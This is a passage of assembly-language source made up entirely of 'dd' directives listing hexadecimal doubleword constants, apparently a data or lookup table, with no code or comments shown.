1B121A10h dd 141A1412h, 30A0218h, 0C030007h, 0B020A00h, 404040Eh dd 2E272908h, 161A292Fh, 11151810h, 1E121E15h, 1C1A1018h dd 0A021814h, 4020303h, 20A000Ch, 0C05030Bh, 27290804h dd 192A292Ch, 1F11151Bh, 1F161514h, 17191D13h, 81F1E1Fh dd 0F01050Bh, 0F070604h, 7090D03h, 2B060D0Ch, 242C2A26h dd 16151311h, 1C14121Eh, 12121119h, 141C1A16h, 2060001h dd 0C04020Eh, 20B0909h, 40C0A06h, 242C282Eh, 131A1228h dd 111F1D16h, 1D181315h, 151F1B11h, 0B00021Eh, 0D070309h dd 0B0F01h, 9060E0Ch, 2A262F07h, 1611242Ch, 121E1411h dd 10191C14h, 1A161B1Bh, 2141Ch, 7030906h, 0B0F040Dh, 60E0C00h dd 2422060Fh, 1B2D2927h, 1E111318h, 101C1412h, 1B111310h dd 71E151Fh, 3090201h, 20D07h, 0E0C0009h, 28090C06h, 242C2A26h dd 19111015h, 161D1713h, 111B1F11h, 1E151F1Bh, 9060402h dd 60D0703h, 10E010Ah, 0A050F0Bh, 2C2A2629h, 15171124h dd 14121E13h, 1818191Ch, 1C1A161Ch, 3090114h, 4020E0Bh dd 30D0A0Ch, 50F0B01h, 272B2F0Ah, 101B2D29h, 1F11131Ah dd 18131511h, 171B191Eh, 90B1D19h, 20E0202h, 0A090C04h dd 0A06020Bh, 2A23040Ch, 12282425h, 1113131Ah, 1A101C11h dd 191F1912h, 0B1D1917h, 0E060008h, 90C0402h, 6090B0Ch dd 29040C0Ah, 28242F25h, 101A1A12h, 15111F12h, 12191813h dd 1D19171Fh, 20B000Bh, 5010F0Dh, 0D0E0803h, 0D09070Ah dd 2B2A2D20h, 10161A2Ch, 12171018h, 111B1F1Dh, 191E181Ah dd 9030715h, 0C0D000Ah, 0B020A00h, 40A0808h, 25272908h dd 161A2829h, 12151810h, 1E121E11h, 1B1D1018h, 60A1C1Fh dd 2050800h, 0E020205h, 40D0008h, 2B210B06h, 1127252Fh dd 16141817h, 1E17131Eh, 17191D13h, 71A181Ch, 0F01050Bh dd 0F0D0E0Ch, 0C09010Bh, 2C050E0Ch, 2F2C262Eh, 11151B15h dd 1112171Fh, 10181E12h, 151F1818h, 2090307h, 0D020304h dd 8010B0Fh, 804050Eh, 28282729h, 10161A26h, 1E131518h dd 181E1210h, 14141410h, 30A0218h, 0C050D0Ah, 0D020A00h dd 9070A0Eh, 2D2F200Dh, 13172527h, 13171219h, 1B1F1D1Fh dd 1C181311h, 0A021814h, 4060503h, 20A000Ch, 0E0D0F0Bh dd 27290804h, 1228242Eh, 1C12131Ah, 1A101C1Dh, 1C1B1812h dd 218141Fh, 100030Ah, 0A000C01h, 0A090C02h, 200D0907h dd 252F2D25h, 1A191317h, 101C1314h, 191B121Ah, 18141E1Fh dd 3030A02h, 0C0205h, 0C03020Ah, 0D09070Fh, 2D2E2D20h dd 10161A29h, 1F131518h, 181E1211h, 1D1C1D10h, 60A16h dd 4040508h, 80E0206h, 0C040D00h, 2F2B2109h, 10122E25h dd 17131910h, 1E18161Dh, 1F1B111Bh, 4071A15h, 0E060408h dd 0E020701h, 0A0F0008h, 2E2C050Dh, 142A2F26h, 16141819h dd 1D14111Eh, 17191D13h, 0A17191Ah, 1080006h, 0F0D0205h dd 0A0A010Bh, 200D0907h, 25262A29h, 1A191317h, 101C1610h dd 1D1B121Ah, 18141A15h, 0A060A02h, 0C04020Eh, 10F0A01h dd 0E050F0Bh, 242D2E28h, 131A1228h, 1C101111h, 1C121A10h dd 1917191Ch, 20B1Dh, 4020E03h, 301010Ch, 50F0B01h, 272B2206h dd 181B2D29h, 121E1510h, 1E101C14h, 1F1B1119h, 1091915h dd 0E060408h, 30D0607h, 0C07090Dh, 262E060Dh, 18242C2Ah dd 13191110h, 1F141D17h, 1E1C101Fh, 5191F16h, 6040804h dd 0B06050Eh, 7090D03h, 210C0B0Ah, 28252F2Bh, 14181116h dd 17171E16h, 1C101110h, 1A1B161Eh, 1050B02h, 0E05070Fh dd 80E02h, 50D0B0Dh, 2F262E2Ch, 18131529h, 171E1614h, 101E1D16h dd 1F161E1Ch, 805051Bh, 0F0E0604h, 0D030100h, 90C0709h dd 2A262E07h, 1019242Ch, 17131911h, 1C1F1F1Dh, 161E1C10h dd 0B051916h, 40F0105h, 30C0E0Fh, 0C07090Dh, 2623060Ch dd 16242C2Ah, 13191514h, 10131D17h, 1E1C101Bh, 7171F16h dd 6040809h, 807070Eh, 0E0C0008h, 220A0F06h, 2D29272Ah dd 1312131Bh, 15111F17h, 1F1C1B13h, 141C1A16h, 90A0403h dd 0E0D0703h, 0C00090Ch, 70B060Eh, 2C2A2623h, 1A181424h dd 1D171319h, 1A1B1815h, 151F1B11h, 8050618h, 70E0604h dd 90A0Fh, 0F060E0Ch, 2A262C0Eh, 1511242Ch, 121E1413h dd 19191C14h, 1A161B1Ah, 201141Ch, 20E0007h, 9090C04h dd 0A060803h, 2F29040Ch, 1228242Ch, 1512151Ah, 1315111Fh dd 1B111A11h, 31E151Fh, 3090002h, 0B040D07h, 0E0C0000h dd 2E090F06h, 2D29272Ch, 1113101Bh, 15111F14h, 181C1D13h dd 141C1A16h, 6010101h, 0C04020Eh, 20C0109h, 40C0A06h dd 292D2D2Ah, 19131725h, 111F151Bh, 1F1F1315h, 1C1A1612h dd 7090114h, 4020E0Ah, 0D0E010Ch, 50F0B01h, 29252C0Eh dd 1A122824h, 1D101313h, 121A101Ch, 17141212h, 90B1D19h dd 20E0402h, 0A090C04h, 0A060E09h, 2D2E040Ch, 12282424h dd 1C101A1Ah, 1315111Fh, 1F1D1818h, 0B1D1917h, 4000A00h dd 305010Fh, 80C0E08h, 200D0907h, 252A2D25h, 12191317h dd 1D161D1Dh, 1A111B1Fh, 151A1B1Bh, 2090307h, 0D050C01h dd 0E010B0Fh, 804080Dh, 2C2E2729h, 10161A2Dh, 10101518h dd 181E121Fh, 16181D10h, 60A1Dh, 7030508h, 80E0201h, 4090900h dd 25272908h, 161A292Eh, 14151810h, 1E121E11h, 141D1018h dd 60A1E1Ah, 4060800h, 0B0F0D05h, 0F0F0C01h, 27290804h dd 1A2E2825h, 15181016h, 12121713h, 1D10181Eh, 0A1E191Fh dd 80006h, 0F0D0F00h, 0E0E010Bh, 29080404h, 29272927h dd 1810161Ah, 11161415h, 10181E12h, 1A1C1A1Dh, 800060Ah dd 0D0F0405h, 0A010B0Fh, 50E0B09h, 2D262E2Ch, 151B112Dh dd 1F161F11h, 181E1213h, 1D1A1810h, 9030715h, 4020202h dd 10B0F0Dh, 40F0C02h, 2B272908h, 161A2B27h, 1C151810h dd 1E12141Eh, 191D1018h, 60A191Fh, 5050800h, 0E020502h dd 50F0008h, 2E2C050Ch, 162A2A26h, 1F11151Bh, 1C111014h dd 17191D13h, 316171Ch, 0F01050Bh, 0B010F04h, 7090D03h dd 2D070A0Ch, 242C2A26h, 19111112h, 151D1713h, 1C101F1Ah dd 1716161Eh, 1050B01h, 102040Fh, 90D030Fh, 0B070C07h dd 2C2A262Eh, 10111124h, 14121E12h, 1D19191Ch, 1C1A161Dh dd 6050114h, 4020E0Bh, 0F000F0Ch, 50F0B01h, 2C282E0Eh dd 1A122824h, 12151B13h, 121A101Ch, 171B1C1Fh, 0B1D19h dd 0F060401h, 8030501h, 70E090Ch, 2D200D09h, 1A282F28h dd 15181016h, 12171613h, 1A10181Eh, 7151A1Bh, 1000903h dd 0A000C04h, 0C0A0E02h, 200D0907h, 252C292Fh, 14191317h dd 101C101Ch, 1B13121Ah, 1D19171Ch, 0B0B000Bh, 0C04020Eh dd 1030C0Ah, 0E050F0Bh dd 242C2A2Dh, 131A1228h, 1C141712h, 1B121A10h, 141F151Eh dd 70A0218h, 10F0502h, 8080305h, 907040Bh, 2A2B200Dh, 13172527h dd 1C141219h, 1B1F1D17h, 191B1911h, 0A021814h, 0F040B05h dd 8030501h, 0A060803h, 2A22040Ch, 1228242Dh, 1017131Ah dd 1A101C15h, 16121912h, 4141C1Ah, 3090503h, 8060D07h dd 0B010C0Ah, 2C0E050Fh, 28242B2Fh, 161B1A12h, 1C14121Eh dd 111B111Eh, 1E151F1Bh, 9060307h, 60D0703h, 10D0D0Ah dd 0B050F0Bh, 2927242Eh, 13101B2Dh, 111F1710h, 13181315h dd 19171D1Ch, 3000B1Dh, 10F0D02h, 0C080305h, 9070402h dd 2B29200Dh, 13172529h, 1D141219h, 1B1F1D1Fh, 1A1D1811h dd 0A021814h, 1060300h, 20A000Ch, 709030Ch, 2D200D09h dd 1A2C2D25h, 15181016h, 12101713h, 1D10181Eh, 7151D18h dd 0D020903h, 0F0D0201h, 50F010Bh, 29080409h, 2F2A2C27h dd 11151B11h, 1310141Fh, 191D131Eh, 191E1917h, 800060Ah dd 7040005h, 80E02h, 0D08080Dh, 252F2B21h, 1218102Eh, 1D171319h dd 1F101916h, 151F1B11h, 8070717h, 70E0604h, 90A05h, 6060E0Ch dd 2A262A0Dh, 1112242Ch, 121E1613h, 1D191C14h, 1A16181Ah dd 101141Ch, 20E0504h, 0A090C04h, 0A060F0Ah, 292D040Ch dd 12282428h, 1D1A131Ah, 1315111Fh, 161D1E1Ch, 141C1Ah dd 0F01050Bh, 2000501h, 0A00080Eh, 2C050F04h, 2727262Eh dd 11151B11h, 1015141Fh, 191D131Eh, 171F1A17h, 800060Ah dd 5010F01h, 30C0E03h, 40C0A06h, 242A2A2Fh, 161A1228h dd 111F1510h, 191C1315h, 1C1A1619h, 1050114h, 4020E01h dd 0C0E090Ch, 0C0A060Eh, 25282A04h, 1317252Bh, 14101119h dd 121A101Ch, 1E1E1C1Bh, 0A021814h, 60503h, 20A000Ch, 0C0B0E0Bh dd 27290804h, 112F2D2Ch, 1F11151Bh, 19131114h, 17191D13h dd 0A1D1A1Ch, 5080006h, 2020705h, 0D00080Eh, 2C050F0Fh dd 2E29262Eh, 11151B10h, 1F15141Fh, 191D131Eh, 1D1A1A17h dd 800060Ah, 0D04000Ch, 0A010B0Fh, 5090804h, 2A262E2Ch dd 151B192Eh, 1F141F11h, 1D131B15h, 18191719h, 60A1Dh dd 0C060608h, 0F020A00h, 9070F03h, 252D200Dh, 161A2E2Dh dd 15151810h, 1E121F1Fh, 181D1018h, 60A1C19h, 5060800h dd 0E020204h, 0E0D0008h, 2B210B08h, 142A252Fh, 16141819h dd 1112171Eh, 1E1C1010h, 0A181916h, 3080006h, 0F0D0001h dd 80A010Bh, 2C050E0Ch, 2B2A262Eh, 11151B15h, 1D13111Fh dd 1A111B1Fh, 151F1415h, 2090307h, 0D05030Ch, 0A010B0Fh dd 50C0F0Dh, 28262E2Ch, 10161A28h, 17151518h, 111B1F1Dh dd 141A1518h, 40A0218h, 10F0304h, 0E080305h, 9070D0Eh dd 252D200Dh, 161A2A26h, 12151810h, 1E121F16h, 191D1018h dd 60A171Fh, 0C0C0800h, 0B0F0D02h, 0A0F0201h, 27290804h dd 1A2D2F28h, 15181016h, 12161F13h, 1B10181Eh, 7151F1Ah dd 2040903h, 0A000C02h, 0C080D02h, 200D0907h, 25292925h dd 10191317h, 101C161Dh, 181B121Ah, 141C1A16h, 2050701h dd 0C04020Eh, 10B010Ah, 0E050F0Bh, 2428292Fh, 131A1228h dd 1C141111h, 1F121A10h, 19171C18h, 4070B1Dh, 4020E02h dd 30D090Ch, 0C0A060Bh, 2D2A2804h, 1A122824h, 1F141217h dd 18131511h, 171F191Ah, 40B1D19h, 20E0A06h, 90A0C04h dd 0A060A0Ah, 2428040Ch, 12282428h, 1D16131Ah, 1A101C14h dd 161D1312h, 1141C1Ah, 0E030104h, 90C0402h, 60D0801h dd 2F040C0Ah, 28242C2Ah, 14131A12h, 101C1311h, 1E13121Ah dd 1D191714h, 501000Bh, 5010F06h, 0B020F03h, 40C0A06h dd 24242E23h, 131A1228h, 1C101014h, 1C121A10h, 19171F1Dh dd 5000B1Dh, 10F0607h, 8080305h, 9070902h, 252D200Dh, 161A2A29h dd 11151810h, 1E121013h, 1D1D1018h, 60A1C1Eh, 0C0800h dd 0B0F0D01h, 9090A01h, 2E2C050Eh, 10262F26h, 16141819h dd 19161E1Eh, 17191D13h, 219181Ch, 0F01050Bh, 2070107h dd 0D00080Eh, 2C05060Fh, 2F2C262Eh, 14181312h, 17141E16h dd 10181E12h, 1C1F141Dh, 800060Ah, 3070005h, 80E02h, 0A0A090Dh dd 252F2B21h, 1014192Eh, 1D171319h, 1C181815h, 151F1B11h dd 706031Eh, 0D070309h, 0F0805h, 0F060E0Ch, 272A280Eh dd 161B2D29h, 121E1112h, 1A1A1C14h, 1F1B1118h, 91C15h dd 0E060408h, 3090002h, 507090Dh, 2B210B0Dh, 112E252Fh dd 13191A11h, 1C161D17h, 1B111E19h, 91E151Fh, 3090301h dd 0F060D07h, 0B010B0Ch, 2C08050Fh, 2D29272Bh, 1013161Bh dd 1C14121Eh, 111B1A1Dh, 1C151F1Bh, 4080809h, 7050E06h dd 90D030Ch, 0C0B0E07h, 252F2B21h, 151B1528h, 12141F11h dd 1D131D16h, 1A1C1719h, 50B0018h, 2040F01h, 0D030B00h dd 0B0C0709h, 2A26290Fh, 1211242Ch, 121E1417h, 10101C14h dd 1F1B1119h, 3011E15h, 7030906h, 10F060Dh, 0F0B010Ah dd 28220E05h, 12282425h, 1413101Ah, 1A101C12h, 1B181B12h dd 0B1D1917h, 0E010408h, 0A0C0402h, 0B010B09h, 280E050Fh dd 28242A2Eh, 1B131A12h, 101C1616h, 1B1B121Ah, 18141F1Fh dd 40A02h, 5010F03h, 0B0A0A03h, 40C0A06h, 2B2C2B2Ah, 19131725h dd 161D1012h, 111B1F1Dh, 141F1919h, 30A0218h, 0C070504h dd 0E020A00h, 0C0A060Dh, 25242C04h, 1A122824h, 1F1D1417h dd 18131511h, 17151813h, 0B1D19h, 20E050Ah, 1010C04h, 0F0B010Ch dd 2D290E05h, 1228242Ah, 1212101Ah, 1315111Fh, 161F1D1Ah dd 5141C1Ah, 3090A00h, 0E060D07h, 0B010208h, 2B0A050Fh dd 2D29272Dh, 1013101Bh, 15111F11h, 1C1F1C13h, 141C1A16h dd 5050401h, 0C04020Eh, 109000Dh, 0E050F0Bh, 29272A28h dd 14191B2Dh, 14121E1Ah, 181A191Ch, 1C1A161Dh, 1020114h dd 4020E00h, 30E0E0Ch, 50F0B01h, 272B2A0Ah, 191B2D29h dd 121E1A1Ah, 1B1C1C14h, 161E1C10h, 3051D1Fh, 0E060408h dd 30C0303h, 507090Dh, 2B210C06h, 122A252Fh, 16141819h dd 1C14171Eh, 1E1C1011h, 41C1C16h, 0F01050Bh, 0C010E04h dd 7090D03h, 2207080Ch, 242C2A26h, 19141215h, 131D1713h dd 1C101818h, 1D19161Eh, 1050B06h, 5040Fh, 90D030Ch, 80A0C07h dd 2C2A262Ch, 12111224h, 14121E1Ah, 1A11191Ch, 1C1A1613h dd 1030114h, 4020E0Ah, 0E08090Ch, 0C0A060Fh, 242E2A04h dd 13172527h, 16161219h, 1B1F1D13h, 17141A11h, 0B1D19h dd 20E000Ah, 0E090C04h, 0A060909h, 2D2C040Ch, 12282429h dd 1113131Ah, 1A101C10h, 1F1B1B12h, 218141Dh, 405030Ah dd 0A000C04h, 90F0B02h, 2908040Dh, 2D2E2E27h, 1810161Ah dd 14161715h, 10181E12h, 1F1F1E1Dh, 800060Ah, 30F0405h dd 80E02h, 0C070C0Dh, 252F2B21h, 1B13142Eh, 1D171319h dd 13111116h, 151F1B11h, 105091Eh, 0D070309h, 0C080Eh dd 7060E0Ch, 2A26220Fh, 1416242Ch, 17131910h, 181E1E1Dh dd 161E1C10h, 0B091C19h, 40F0105h, 30C0304h, 0F07090Dh dd 2B210A0Dh, 112E252Fh, 16141815h, 1813171Eh, 17191D13h dd 5171C1Ch, 0F01050Bh, 0E060404h, 7090D03h, 2A07060Ch dd 242C2A26h, 19121316h, 161D1713h dd 111E181Ch, 1B151F1Bh, 4080403h, 70E06h, 0C000E01h, 0D0F060Eh dd 29272523h, 17121B2Dh, 14121E1Ah, 1A1C1B1Ch, 151F1B11h dd 8070517h, 0F0E0604h, 0D030C06h, 0E0F0709h, 2A26220Eh dd 1114242Ch, 17131917h, 1D18161Dh, 1F1B111Fh, 9061E15h dd 7030900h, 0D0C0F0Dh, 60E0C00h, 2E2C050Ah, 10292F26h dd 16141817h, 1A14121Eh, 17191D13h, 0A161B1Ah, 5080006h dd 2030504h, 0D00080Eh, 210D0B05h, 2E252F2Bh, 14181618h dd 1F171E16h, 1C10111Dh, 1E17161Eh, 1050B05h, 40E010Fh dd 80E02h, 5060A0Fh, 26262E2Ch, 151B1029h, 14121F11h, 181E1214h dd 191C1D10h, 60A17h, 0C040508h, 0B020A00h, 40E0C0Ch, 2C272908h dd 1B13272Dh, 141F1115h, 1E121613h, 1B1D1018h, 60A1E1Bh dd 70800h, 0B0F0D02h, 70E0201h, 2D200D09h, 1A2C2A2Ah, 15181016h dd 1215121Ch, 1D10181Eh, 0A1F1F15h, 5080006h, 2050406h dd 0E00080Eh, 21070F0Dh, 2B252F2Bh, 11151B13h, 1314141Fh dd 191D131Eh, 181A1A17h, 800060Ah, 3050705h, 80E02h, 5080A0Bh dd 2B262E2Ch, 151B142Dh, 14131F11h, 181E1212h, 1A1C1910h dd 9030715h, 0F060702h, 10B0F0Dh, 408050Eh, 2C272908h dd 1B132E2Fh, 141F1115h, 13181117h, 1F17191Dh, 0B061F1Eh dd 40F0105h, 30E0E05h, 0C07090Dh, 2B21070Fh, 132E252Fh dd 13191217h, 11161D17h, 1B111E1Ch, 219151Fh, 6040800h dd 6070Eh, 0E0C000Ch, 2E060F06h, 2D29272Fh, 1714101Bh dd 15111F10h, 1E121C13h, 141C1A16h, 9030006h, 50D0703h dd 0C00080Ah, 0F0F060Eh, 29272F23h, 16121B2Dh, 14121E1Bh dd 101E1A1Ch, 1B161E1Ch, 50B0417h, 3070F01h, 80E0207h dd 0C0C0800h, 262E2C05h, 1B14282Bh, 141F1115h, 13111110h dd 1F17191Dh, 0B061D1Eh, 0F0104h, 0E02070Fh, 0C080008h dd 2E2C050Bh, 132A2F26h, 16141815h, 1D17171Eh, 1E1C101Bh dd 11F1916h, 0F01050Bh, 0A060607h, 7090D03h, 2108080Ch dd 26252F2Bh, 14181111h, 1F131E16h, 191D1319h, 19181C17h dd 1050B03h, 0F00010Fh, 80E02h, 8040B09h, 2A2C2729h, 151B182Fh dd 1F141F11h, 1D131F16h, 171C1719h, 60A1Bh, 0F030508h dd 80E0204h, 80C0D00h, 2F2B210Ch, 14132E25h, 17131912h dd 1319151Dh, 1F17191Dh, 60A1D1Eh, 0D050800h, 0E020306h dd 0E0E0008h, 2E2C0509h, 122D2F26h, 16141813h, 181E171Eh dd 1E1C1010h, 11C1716h, 0F01050Bh, 0F0D0404h, 0C0C010Bh dd 2908040Ah, 2B282C27h, 11151B17h, 1F14141Fh, 191D131Ah dd 171A1C17h, 1050B09h, 105070Fh, 80E02h, 80C0B0Dh, 252F2B21h dd 18101727h, 101E1614h, 1D131817h, 1C1C1719h, 50B081Ah dd 1070F01h, 80E0204h, 60E0E00h, 262E2C05h, 1916272Fh dd 1E161418h, 1A1E1417h, 161E1C10h, 0B041C1Ah, 70F0105h dd 3090506h, 807090Dh, 2B210C0Ah, 122E252Fh, 13191A15h dd 1C151D17h, 17191D13h, 0A17181Fh, 5080006h, 2060E04h dd 0A00080Eh, 2C050B0Bh, 2C2F262Eh, 14181815h, 1F171E16h dd 1C101C11h, 191F161Eh, 4080004h, 4000E06h, 90D0301h dd 0E0E0C07h, 2C2A262Ah, 15181724h, 1D171319h, 101A1810h dd 1A161E1Ch, 50B0817h, 40F01h, 0D030B07h, 0B040709h, 2F2B2106h dd 18122E25h, 17131914h, 1811151Dh, 161E1C10h, 0B031718h dd 0C0F0105h, 0E02040Fh, 90D0008h, 2B210D06h, 1429252Fh dd 16141813h, 181F171Eh, 1E1C1018h, 9161F16h, 6040807h dd 0A03070Eh, 0E0C0008h, 2A0F0C06h, 2D292728h, 1115101Bh dd 15111F1Ch, 191E1C13h, 141C1A16h, 0A040601h, 0C04020Eh dd 1020F09h, 0A050F0Bh, 2927292Bh, 1A171B2Dh, 14121E17h dd 1F19191Ch, 151F1B11h, 0A01031Eh, 0D070309h, 80A03h dd 0F060E0Ch, 272C2B0Ah, 101B2D29h, 1F161515h, 18131511h dd 1A161E1Eh, 801141Ch, 20E0505h, 90C04h, 0A060908h, 2E2A040Ch dd 1725272Bh, 1D141913h, 1315111Fh, 1C121218h, 0B1D1917h dd 40A0000h, 305010Fh, 60E0B0Fh, 2A040C0Ah, 252B2429h dd 12191317h, 1D111415h, 1A111B1Fh, 1518191Bh, 2090307h dd 0D010C0Dh, 0C010B0Fh, 804090Eh, 2E2C2729h, 151B1227h dd 14111F11h, 181E1217h, 1F181D10h, 60A19h, 6060D08h, 10B0F0Dh dd 0F09080Ah, 262E2C05h, 1B192627h, 141F1115h, 131E131Eh dd 1C17191Dh, 0B091F18h, 10F0105h, 0E020100h, 0F0E0008h dd 2E2C0507h, 182E2A26h, 1F11151Bh, 1A171014h, 17191D13h dd 0A1D1919h, 5080006h, 0F0D000Ch, 50A010Bh, 2C05070Fh dd 2A2F262Eh, 1810161Ah, 1D1E1617h, 1E111B1Fh, 1814141Fh dd 5040A02h, 0C04020Eh, 10F0C00h, 0E050F0Bh, 2927282Bh dd 1A161B2Dh, 14121E14h, 1911111Ch, 151F1B11h, 0B07091Eh dd 0D070309h, 0D0E0F06h, 50F0B01h, 2725230Eh, 101B2D29h dd 1F101417h, 18131511h, 17181B1Fh, 0B1D19h, 20E030Ah dd 0A0B0C04h, 60E0C00h, 2B22070Fh, 1B2D2927h, 1E111412h dd 191C1412h, 161F1A1Eh, 1141C1Ah, 6040805h, 0F060E0Eh dd 7090D03h, 210A0C0Eh, 2E252F2Bh, 19171011h, 161D1713h dd 1C101A19h, 181F161Eh, 4080901h, 1070E06h, 0C000D0Dh dd 0F08060Eh, 2C2A262Ah, 10141124h, 14121E17h, 1311191Ch dd 1C1A1619h, 2010714h, 0D070309h, 0B0B0Fh, 0F060E0Ch dd 272B2C06h, 151B2D29h, 121E1610h, 1C191C14h, 1A161A12h dd 901141Ch, 20E0402h, 0E000C04h, 0F0B0103h, 2A290E05h dd 1228242Fh, 1010171Ah, 1315111Fh, 1D1F1218h, 0B1D1917h dd 0E020A06h, 0D0C0402h, 0E0C0001h, 280E0806h, 242C2A26h dd 19111719h, 161D1713h, 111D1F1Fh, 1E151F1Bh, 9040500h dd 60D0703h, 1030109h, 9050F0Bh, 2927282Eh, 1A101B2Dh dd 111F1215h, 12181315h, 19171419h, 5000B1Dh, 4020E02h dd 0D0E090Ch, 0C0A060Fh, 2C2C2A04h, 13172526h, 16121219h dd 1B1F1D1Fh, 1B191911h, 0A021814h, 0D050203h, 20A000Ch dd 7040B0Eh, 2A200D09h, 1725272Dh, 1C121913h, 1F1D1310h dd 1C18111Bh, 218141Eh, 0C070A0Ah, 305010Fh, 0C0E0F08h dd 200D0907h, 252C2F24h, 12191317h, 1D141513h, 19111B1Fh dd 1D19171Eh, 103000Bh, 0C04020Eh, 1080A0Eh, 9050F0Bh dd 29272A2Ch, 12101B2Dh, 111F1614h, 1E181315h, 1C1A1612h dd 7020114h, 4020E0Bh, 0F0F0D0Ch, 50F0B01h, 2729220Bh dd 101B2D29h, 1F10171Ah, 1C131511h, 1A161319h, 301141Ch dd 20E0105h, 9090C04h, 0A06090Bh, 2D2A040Ch, 1725282Ah dd 12141913h, 1A101C13h, 1B191D12h, 0B1D1917h, 0C000400h dd 305010Fh, 0C020D08h, 200D0907h, 252A2925h, 1A191317h dd 101C111Ch, 1219121Ah, 1D191714h, 203000Bh, 5010F02h dd 0E030103h, 40C0A06h, 242A282Dh, 151A1228h, 111F1D11h dd 13181315h, 1917141Ch, 0B020B1Dh, 4020E06h, 308090Ch dd 0C0A0609h, 2D2B2D04h, 1A122824h, 10101113h, 121A101Ch dd 171F1919h, 90B1D19h, 20E0B03h, 0C0D0C04h, 0F0B010Ah dd 2E280605h, 1B2D2927h, 11111610h, 1315111Fh, 161E1A1Eh dd 7141C1Ah, 3090502h dd 9060D07h, 0B010F0Eh, 2E06050Fh, 2D292729h, 1716121Bh dd 1C14121Eh, 111E1C1Ch, 1E151F1Bh, 9060208h, 60D0703h dd 10A0E0Bh, 0E050F0Bh, 242E2F2Bh, 131A1228h, 1C151614h dd 19121A10h, 19171D1Bh, 1000B1Dh, 10F0300h, 0F0E0305h dd 0C0A0609h, 292C2A04h, 1317252Ah, 12151A19h, 121A101Ch dd 171C1819h, 40B1D19h, 20E0B04h, 90C04h, 0A060E0Fh, 252A040Ch dd 1725292Dh, 15121913h, 1F1D1210h, 1D1A111Bh, 7151A1Ah dd 6020903h, 0F0D050Dh, 50E010Bh, 200D0907h, 2D2A292Dh dd 1810161Ah, 101F1415h, 10181E12h, 151D1E1Bh, 0A090307h dd 0C0107h, 30E020Ah, 0D09070Ch, 2E2E2D20h, 10161A26h dd 16101218h, 111B1F1Dh, 1F15151Ah, 9030715h, 2020D02h dd 10B0F0Dh, 0E090D0Ah, 262E2C05h, 1B102627h, 131F1115h dd 1E121710h, 151D1018h, 60A1C1Ah, 7050800h, 0E020E01h dd 4040008h, 2E2C050Fh, 152B2F26h, 16141813h, 1A17171Eh dd 1E1C1010h, 9171D16h, 0F01050Bh, 204050Dh, 0D00080Eh dd 2108080Bh, 2E252F2Bh, 191A1310h, 161D1713h, 1C101D1Bh dd 1B19161Eh, 1050B00h, 20F040Fh, 80E02h, 909090Dh, 252F2B21h dd 1419182Eh, 1D171319h, 101B1114h, 1F161E1Ch, 809031Bh dd 30E0604h, 0D030E02h, 6040709h, 2F2B210Ah, 12192E25h dd 17131917h, 1A1D121Dh, 161E1C10h, 8061B1Fh, 0E060408h dd 30B0504h, 0C07090Dh, 26220F0Bh, 11242C2Ah, 1E101014h dd 191C1412h, 161A121Fh, 6141C1Ah, 6040804h, 0E0E070Eh dd 0E0C000Bh, 23080F06h, 2D292725h, 1017101Bh, 15111F1Ch dd 19131813h, 1D19171Bh, 20B050Bh, 0C04020Eh, 0D0A0909h dd 40C0A06h, 2B2A282Ah, 19131725h, 11161C12h, 111B1F1Dh dd 14181A1Fh, 30A0218h, 0C020401h, 0B020A00h, 4090E02h dd 25272908h, 161A2E2Dh, 14151810h, 1E121414h, 1B1D1018h dd 60A161Ah, 2060800h, 0B0F0D01h, 0B0A0801h, 27290804h dd 1A292A24h, 16181016h, 1F1D1E10h, 151A111Bh, 7151B14h dd 2020903h, 0F0D020Ch, 0C0A010Bh, 2C05060Dh, 262F262Eh dd 14181819h, 1F101E16h, 191D1310h, 1C1D1C17h, 800060Ah dd 0D0E0D06h, 0D010B0Fh, 804090Eh, 2E2C2729h, 19131725h dd 15121C12h, 111B1F1Dh, 19171D1Ch, 90B1Dh, 4020E07h, 0C090F0Ch dd 50F0B01h, 252B2F0Eh, 1A122824h, 1F111210h, 1D131511h dd 1A161F1Eh, 608141Ch, 0E060408h, 1000407h, 60E0C00h dd 2A2D0E0Fh, 1B2D2927h, 1E121110h, 1B1C1412h, 1B111B1Fh dd 21D151Fh, 6040803h, 0F00070Eh, 0E0C0009h, 2E0F0F06h dd 2D292725h, 171A121Bh, 1C14121Eh, 13121019h, 141C1A16h dd 90B0405h, 0F0D0703h, 0C000E0Bh, 0C0F060Eh, 29272E2Bh dd 17101B2Dh, 111F101Ah, 121A1315h, 1C1A1618h, 3070714h dd 0D070309h, 2000F06h, 50F0B01h, 27252209h, 161B2D29h dd 121E1B11h, 19191C14h, 1A16121Ch, 305141Ch, 7030907h dd 0E00060Dh, 0F0B010Ah, 2D2E0E05h, 12282424h, 1013131Ah dd 1A101C16h, 15191B12h, 0B1D1917h, 0E010A08h, 0C0402h dd 0B010C00h, 280A050Fh, 2D29272Bh, 1B14171Bh, 1C14121Eh dd 1113101Ah, 1C151F1Bh, 4080704h, 70E06h, 0C000E08h, 0B0F060Eh dd 2927292Dh, 12131B2Dh, 14121E17h, 1B1C1D1Ch, 151F1B11h dd 808041Bh, 20E0604h, 0D030801h, 0A0C0709h, 2A262C0Fh dd 1611242Ch, 121E1210h, 1C191C14h, 1F1B111Eh, 4091E15h dd 703090Ah, 90E060Dh, 0F0B010Fh, 2E290E05h, 12282425h dd 1111131Ah, 1A101C16h, 19131B12h, 218141Eh, 60A060Ah dd 305010Fh, 8020808h, 200D0907h, 2824242Dh, 14131A12h dd 101C1013h, 1B1B121Ah, 18141D19h, 1030A02h, 0C0402h dd 308020Ah, 0D09070Ah, 2F2C2D20h, 10161A2Bh, 16101518h dd 181E1216h, 1D1C1D10h, 60A17h, 0E070D08h, 10B0F0Dh, 4050F0Ah dd 2B272908h, 161A2F2Fh, 13151810h, 1E121211h, 1A181018h dd 307151Ah, 10D0209h, 0B0F0D00h, 0B0A0A01h, 27290804h dd 1A282F2Bh, 1C181016h, 1F1D1510h, 1F1D111Bh, 218141Ch dd 706060Ah, 305010Fh, 0B020908h, 200D0907h, 2826252Dh dd 1810161Ah, 1D16101Dh, 1A111B1Fh, 1814141Fh, 5030A02h dd 0C0705h, 302020Ah, 0D09070Ch, 2A282520h, 19131725h dd 17121712h, 111B1F1Dh, 1D1B1B1Ah, 9030715h, 0C00000Ah dd 0F020A00h, 9070C09h, 242D200Dh, 161A2928h, 15101810h dd 1B1F1D15h, 1D151311h, 0A021814h, 0F020205h, 0A030501h dd 0A060E0Ah, 2C2A040Ch, 17252F2Eh, 1D111913h, 1A101C16h dd 14131B12h, 2181419h, 204030Ah, 0A000C04h, 0B0B0B02h dd 29080405h, 2C282A27h, 1810161Ah, 11151115h, 10181E12h dd 